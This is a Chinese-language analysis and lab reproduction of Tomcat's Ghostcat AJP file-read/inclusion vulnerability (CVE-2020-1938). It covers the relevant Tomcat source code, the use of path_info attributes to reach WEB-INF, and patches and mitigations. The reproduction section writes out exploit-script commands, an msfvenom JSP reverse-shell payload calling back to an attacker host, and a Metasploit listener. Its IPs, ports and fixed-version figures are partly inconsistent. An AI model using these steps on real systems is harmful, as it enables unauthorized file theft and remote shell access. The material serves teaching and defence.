CVE-2020-1938源码分析与漏洞复现(Tomcat 文件包含/读取)
漏洞概述
漏洞名称:Tomcat AJP协议文件包含/读取漏洞(Ghostcat)
CVE 编号:CVE-2020-1938
CVSS 评分:9.8
影响版本:
- Apache Tomcat 6.x (≤ 6.0.53)
- Apache Tomcat 7.x (≤ 7.0.99)
- Apache Tomcat 8.x (≤ 8.5.51)
- Apache Tomcat 9.x (≤ 9.0.31)
修复版本:≥ 7.0.100 / 8.5.52 / 9.0.31
漏洞类型:文件包含/读取 → 可导致远程代码执行(RCE)
根本原因:Tomcat AJP协议处理器未对请求路径做安全校验,攻击者通过构造恶意AJP请求可读取Web目录任意文件(含WEB-INF敏感文件),结合文件上传可执行任意代码。
漏洞原理与源码分析
1. 漏洞触发条件
- 开启AJP服务:默认监听
8009
端口(conf/server.xml
中<Connector port="8009" protocol="AJP/1.3" />
)。 - 攻击可达性:攻击者需访问AJP端口(常暴露于内网,但公网容器可能误配置暴露)。
2. 关键源码定位
(1)AJP请求处理入口:AjpProcessor#process
代码路径:org.apache.coyote.ajp.AjpProcessor
public SocketState process(SocketWrapper<Socket> socket)throws IOException {...prepareRequest(); // 解析AJP请求头..adapter.service(request, response); // 转发请求...}
漏洞点:未校验request_uri
和attributes
的合法性,允许构造恶意路径。
(2)请求路由逻辑:CoyoteAdapter#service
代码路径:org.apache.catalina.connector.CoyoteAdapter
public void service(org.apache.coyote.Request req, org.apache.coyote.Response res) {...connector.getService().getContainer().getPipeline().getFirst().invoke(request, response); // 进入容器处理链...
}
(3)文件读取漏洞点:DefaultServlet#doGet
代码路径:org.apache.catalina.servlets.DefaultServlet
@Overrideprotected void doPost(HttpServletRequest request,HttpServletResponse response)throws IOException, ServletException {doGet(request, response);}
protected void serveResource(HttpServletRequest request,HttpServletResponse response,boolean content)throws IOException, ServletException {String path = getRelativePath(request);// 获取请求路径(可被恶意构造)...if (path.endsWith("/") || (path.endsWith("\\"))) {String requestUri = (String) request.getAttribute(RequestDispatcher.INCLUDE_REQUEST_URI);if (requestUri == null) {requestUri = request.getRequestURI();}response.sendError(HttpServletResponse.SC_NOT_FOUND,requestUri);return;// 目录请求跳过}...// 关键:直接读取文件并返回内容(无路径校验)InputStream renderResult = null;if (cacheEntry.context != null) {if (serveContent) { renderResult = render(getPathPrefix(request), cacheEntry);}}if (serveContent) {try {response.setBufferSize(output);} catch (IllegalStateException e) {}if (ostream != null) {if (!checkSendfile(request, response, cacheEntry, contentLength, null))copy(cacheEntry, renderResult, ostream);} else {copy(cacheEntry, renderResult, writer);}}
漏洞利用:通过AJP协议传递javax.servlet.include.path_info
属性,可绕过路径限制访问WEB-INF
目录。
3. 敏感文件读取机制
Tomcat安全限制:
- 浏览器直接请求
/WEB-INF/web.xml
→ 返回404错误(受conf/web.xml
中<servlet-mapping>
保护)。 - AJP协议绕过原理:
构造attributes
:
使{ javax.servlet.include.path_info: "/WEB-INF/web.xml", javax.servlet.include.servlet_path: "/" }
DefaultServlet
将/WEB-INF/web.xml
识别为合法路径,从而读取敏感文件。
漏洞利用方式
1. 攻击流程
2. 两种利用场景
利用类型 | Payload示例 | 影响 |
---|---|---|
敏感文件读取 | 读取WEB-INF/web.xml 获取数据库密码 | 信息泄露、权限提升 |
远程代码执行 | 结合文件上传漏洞+文件包含执行JSP WebShell | 服务器完全沦陷 |
3. 利用工具与步骤
(1).使用 Vulhub 环境启动漏洞靶机
docker-compose up -d
(2)访问 http://target:8080,确认服务正常运行
(3)下载漏洞利用工具
(4)读取敏感文件
- 用python2执行工具中的
Tomcat-ROOT路径下文件读取(CVE-2020-1938).py
python Tomcat-ROOT路径下文件读取(CVE-2020-1938).py -p 8009 -f /WEB-INF/web.xml 192.168.1.100
//换为自己靶场的ip
- 读取到敏感文件
(5)下面模拟结合文件上传,实现反弹shell
- kail生成
payload
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.102 LPORT=6666 -f raw > shell.txt
(6)由于是模拟文件上传,所以这里直接将shell.txt
,复制到靶机容器中
docker cp shell.txt 容器id:/usr/local/tomcat/webapps/ROOT/WEB-INF/
(7)kali开启监听
msfconsole
use exploit/multi/handler
set payload java/jsp_shell_reverse_tcp
set lhost 192.168.31.150 # kali的IP
set lport 4444 # 监听端口
run
(8)利用之前的工具包含shell.txt
python 'Tomcat-ROOT路径下文件包含(CVE-2020-1938).py' -p 8009 -f /WEB-INF/shell.txt 192.168.1.100
(9)成功getshell
影响范围与修复方案
1. 受影响版本
Tomcat 分支 | 受影响版本 | 安全版本 |
---|---|---|
6.x | ≤ 6.0.53 | 无官方修复(EOL) |
7.x | ≤ 7.0.99 | ≥ 7.0.100 |
8.x | ≤ 8.5.51 | ≥ 8.5.52 |
9.x | ≤ 9.0.31 | ≥ 9.0.31 |
2. 官方修复方案
- 补丁提交:修订记录
- 修复逻辑:
- 禁用
javax.servlet.include.*
属性(AjpProcessor
):// 检查并拒绝包含敏感属性 if (request.getAttribute(Globals.REQUEST_DISPATCHER_PATH_ATTR) != null) {response.setStatus(403); // 直接返回403禁止return; }
- 增加
requiredSecret
认证(强制AJP连接配置密码)。
- 禁用
3. 临时缓解措施
- 关闭AJP服务:
<!-- conf/server.xml --> <!-- 注释AJP Connector --> <!-- <Connector port="8009" protocol="AJP/1.3" redirectPort="8443" /> -->
- 网络隔离:
- 防火墙限制
8009
端口仅允许可信IP访问。
- 防火墙限制
- 升级中间件:
- 使用Nginx反向代理并过滤恶意请求。
漏洞启示
- 最小化暴露:非必要网络服务(如AJP)应默认关闭。
- 协议安全性:二进制协议需严格校验属性合法性。
- 纵深防御:敏感目录(
WEB-INF
)的访问控制需在多层实现(容器/代码/网络)。
参考链接
- CVE-2020-1938 官方通告(Apache Tomcat)
- 漏洞原理深度解析(长亭科技)
- 源码分析与补丁解读(知乎专栏)
- Tomcat CVE-2020-1938 漏洞复现和利用过程(csdn)